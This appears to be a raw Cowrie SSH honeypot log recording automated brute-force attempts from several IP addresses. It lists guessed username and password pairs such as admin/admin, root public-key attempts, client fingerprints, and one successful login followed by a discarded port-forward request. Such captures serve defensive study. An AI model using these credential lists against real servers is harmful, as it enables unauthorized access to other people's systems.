{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:10.121159Z","src_ip":"45.156.87.147","session":"dadd6162a0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:10.203283Z","src_ip":"45.156.87.147","session":"dadd6162a0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:10.457730Z","src_ip":"45.156.87.147","session":"dadd6162a0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:11.542260Z","src_ip":"45.156.87.147","session":"dadd6162a0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53070,"dst_ip":"10.17.0.5","dst_port":22,"session":"52d63ba101a9","protocol":"ssh","message":"New connection: 91.92.42.227:53070 (10.17.0.5:22) [session: 52d63ba101a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:11.953745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:12.019782Z","src_ip":"91.92.42.227","session":"52d63ba101a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:12.097151Z","src_ip":"91.92.42.227","session":"52d63ba101a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234567890","message":"login attempt [sam/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:12.741715Z","src_ip":"91.92.42.227","session":"52d63ba101a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:13.935981Z","src_ip":"91.92.42.227","session":"52d63ba101a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ac070f3489","protocol":"ssh","message":"New connection: 87.251.64.176:37640 (10.17.0.5:22) [session: 52ac070f3489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.075220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.079410Z","src_ip":"87.251.64.176","session":"52ac070f3489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.175198Z","src_ip":"87.251.64.176","session":"52ac070f3489","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.547814Z","src_ip":"87.251.64.176","session":"52ac070f3489","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.643509Z","session":"52ac070f3489","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.739017Z","src_ip":"87.251.64.176","session":"52ac070f3489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:14.835323Z","src_ip":"87.251.64.176","session":"52ac070f3489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38560,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecf8ec4d5034","protocol":"ssh","message":"New connection: 45.156.87.147:38560 (10.17.0.5:22) [session: ecf8ec4d5034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:15.282636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:15.287256Z","src_ip":"45.156.87.147","session":"ecf8ec4d5034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:15.428801Z","src_ip":"45.156.87.147","session":"ecf8ec4d5034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:15.724848Z","src_ip":"45.156.87.147","session":"ecf8ec4d5034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:16.809169Z","src_ip":"45.156.87.147","session":"ecf8ec4d5034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.206.66","src_port":57690,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b5402ffdde","protocol":"ssh","message":"New connection: 192.3.206.66:57690 (10.17.0.5:22) [session: 06b5402ffdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:17.980124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:17.984671Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.011684Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:65:99:6b:a2:db:9e:c7:f5:06:95:7b:12:f2:da:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdeBLCdg/s5UT6DmlxADDkKV2zPqHgqDa37JzIUg5AcGg5cHJIX4ecq/ms3ojZUvnPciSyqEcMudie+c7USCw48NIiHm/4ucxjT5CF6v7KktNfC44TEHD1TS8w+wGxpEE1/jINExdCXQGPimwbrRj8vnZjnOj2K7HhEeVlyGzgp1XArlcG/3hwltWtvJBxXrRQFOxuAlCO4yU2kI9SmMPlxIi08G2/LuaT3RdrmBAkSDbH1b6kqPOhp09YIfyYX1MxS/5k75qttq5V6bczPlcX2o9RDwKeruCKM+Nmjj0XLxEr1THMmGehc/DnRnG7ZHQe0Xujg4HcSWP/4cQ62z1K33y4Tcn71rEAul8pvgDHap1II/qLDcigKVUDoUKzONkBmwAg+bh5nPDiJCNJ8eyVuC//LKmwMeYg9ZUi9KutIpSpihD13RcjCLYhTXJuz6PdcxwvenhInscTQBiUJZH6rAZES5mQJNOQRLA/9hP4CRKlLtxHvOZqYj6iw0Ia0Zc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:65:99:6b:a2:db:9e:c7:f5:06:95:7b:12:f2:da:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.129324Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:65:99:6b:a2:db:9e:c7:f5:06:95:7b:12:f2:da:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdeBLCdg/s5UT6DmlxADDkKV2zPqHgqDa37JzIUg5AcGg5cHJIX4ecq/ms3ojZUvnPciSyqEcMudie+c7USCw48NIiHm/4ucxjT5CF6v7KktNfC44TEHD1TS8w+wGxpEE1/jINExdCXQGPimwbrRj8vnZjnOj2K7HhEeVlyGzgp1XArlcG/3hwltWtvJBxXrRQFOxuAlCO4yU2kI9SmMPlxIi08G2/LuaT3RdrmBAkSDbH1b6kqPOhp09YIfyYX1MxS/5k75qttq5V6bczPlcX2o9RDwKeruCKM+Nmjj0XLxEr1THMmGehc/DnRnG7ZHQe0Xujg4HcSWP/4cQ62z1K33y4Tcn71rEAul8pvgDHap1II/qLDcigKVUDoUKzONkBmwAg+bh5nPDiJCNJ8eyVuC//LKmwMeYg9ZUi9KutIpSpihD13RcjCLYhTXJuz6PdcxwvenhInscTQBiUJZH6rAZES5mQJNOQRLA/9hP4CRKlLtxHvOZqYj6iw0Ia0Zc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.133068Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:9d:a3:8d:82:aa:1f:bd:c3:92:f9:88:c9:01:5f:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQKBZLBCNraz1WovOqoCrzFSbEBe4AUThVXLvtkC/AjNk8Esp8EIbSv22Lw0QQSL8TlgQbOeNoaI44k/ffQc37JiSFxendU0MOWFVR+DFgByEzcWsFfQntfKXluJyFzacNlnEdZqhIyv3tOLeYyWg8IVzO7ZNQyjwVnh44iTwdLiKS/47xHzCtr/dD0hpF4j/1nhnlIL85YuvH0nziQNHoPcpijHP8Z7b0cjux76YoxPG3xwL832n44hn0jCPlOCVyQjkBLv+IiYvWA/vEy8mWhNI0viJabqtf3crBCR6sNrNXDV1ZUF8wG0rnXhWrt6aUluvBBTm/vbLWjYXuROCJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:9d:a3:8d:82:aa:1f:bd:c3:92:f9:88:c9:01:5f:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.160588Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:9d:a3:8d:82:aa:1f:bd:c3:92:f9:88:c9:01:5f:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQKBZLBCNraz1WovOqoCrzFSbEBe4AUThVXLvtkC/AjNk8Esp8EIbSv22Lw0QQSL8TlgQbOeNoaI44k/ffQc37JiSFxendU0MOWFVR+DFgByEzcWsFfQntfKXluJyFzacNlnEdZqhIyv3tOLeYyWg8IVzO7ZNQyjwVnh44iTwdLiKS/47xHzCtr/dD0hpF4j/1nhnlIL85YuvH0nziQNHoPcpijHP8Z7b0cjux76YoxPG3xwL832n44hn0jCPlOCVyQjkBLv+IiYvWA/vEy8mWhNI0viJabqtf3crBCR6sNrNXDV1ZUF8wG0rnXhWrt6aUluvBBTm/vbLWjYXuROCJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.163793Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:74:26:76:34:09:d6:f9:ae:c6:7e:ea:57:d0:4a:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qYDfCnoTN0aX7sRfNx19Rh3mG/l4VZS0+opSQyugZqITHJiuAXvVlkWzimzVwMd98+6ugywLwrUCGhwLo76ugL2SIZYyq03wXBKRlIsHgyfhDOOOs2i/Gixgc0vDrdDDiJC9FDbWV2IHyq5hlNXxEBIUFvpV9pTmWrmLrBlfrRxZyUHGCqcXl6hvxbs0L1WP4GKiy49kYD3PAKTBF/gWzRgVtpldkgFUFjb8EIeEX35yaFsXkGXhyo71jVXnL2yyDK3mc3hapV9sbSO6lk206w301mhm8uIvIGEBsSQFSxPqM7MyRjGiN74SypCIFTmNpP+ZTANbUBxUvNUpw/45","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:74:26:76:34:09:d6:f9:ae:c6:7e:ea:57:d0:4a:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.194950Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:74:26:76:34:09:d6:f9:ae:c6:7e:ea:57:d0:4a:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/qYDfCnoTN0aX7sRfNx19Rh3mG/l4VZS0+opSQyugZqITHJiuAXvVlkWzimzVwMd98+6ugywLwrUCGhwLo76ugL2SIZYyq03wXBKRlIsHgyfhDOOOs2i/Gixgc0vDrdDDiJC9FDbWV2IHyq5hlNXxEBIUFvpV9pTmWrmLrBlfrRxZyUHGCqcXl6hvxbs0L1WP4GKiy49kYD3PAKTBF/gWzRgVtpldkgFUFjb8EIeEX35yaFsXkGXhyo71jVXnL2yyDK3mc3hapV9sbSO6lk206w301mhm8uIvIGEBsSQFSxPqM7MyRjGiN74SypCIFTmNpP+ZTANbUBxUvNUpw/45","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.199231Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:6f:12:13:d9:ff:b4:c5:2a:56:c4:5d:fd:78:34:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAlY6x70I/d+q1/sFUuuPoKCJAngqeAzxsvWFOFh8DWSr1QTdrRKSVjFdc4iWWaFoX5vTRMxJdmuSj+DuFGXlA5UnMdu/1xaG5NokOet+ieRfuNy9WkIjZ5/Ue2zX9tPhb0UR72YfCo6CD4Im+4dGROS094E51fjUe4leEbogf7cfIUmv9RZbuADA+O9bhBoboHPbdM8PliRdw2tlJeHk95bTBbVvFt7Yk7es3+7oKccbL3+kWrs+8Ty0gkQ2CmpmB2evAIAy1kQfxXZNEUOs6Xit4WklB4f7Fqp81oGoz4z+Lvh8RG6UZSz5ReaNGnXx2+SNyIaTeqkHZfds+RKR4GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:6f:12:13:d9:ff:b4:c5:2a:56:c4:5d:fd:78:34:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.229333Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:6f:12:13:d9:ff:b4:c5:2a:56:c4:5d:fd:78:34:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAlY6x70I/d+q1/sFUuuPoKCJAngqeAzxsvWFOFh8DWSr1QTdrRKSVjFdc4iWWaFoX5vTRMxJdmuSj+DuFGXlA5UnMdu/1xaG5NokOet+ieRfuNy9WkIjZ5/Ue2zX9tPhb0UR72YfCo6CD4Im+4dGROS094E51fjUe4leEbogf7cfIUmv9RZbuADA+O9bhBoboHPbdM8PliRdw2tlJeHk95bTBbVvFt7Yk7es3+7oKccbL3+kWrs+8Ty0gkQ2CmpmB2evAIAy1kQfxXZNEUOs6Xit4WklB4f7Fqp81oGoz4z+Lvh8RG6UZSz5ReaNGnXx2+SNyIaTeqkHZfds+RKR4GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.233146Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
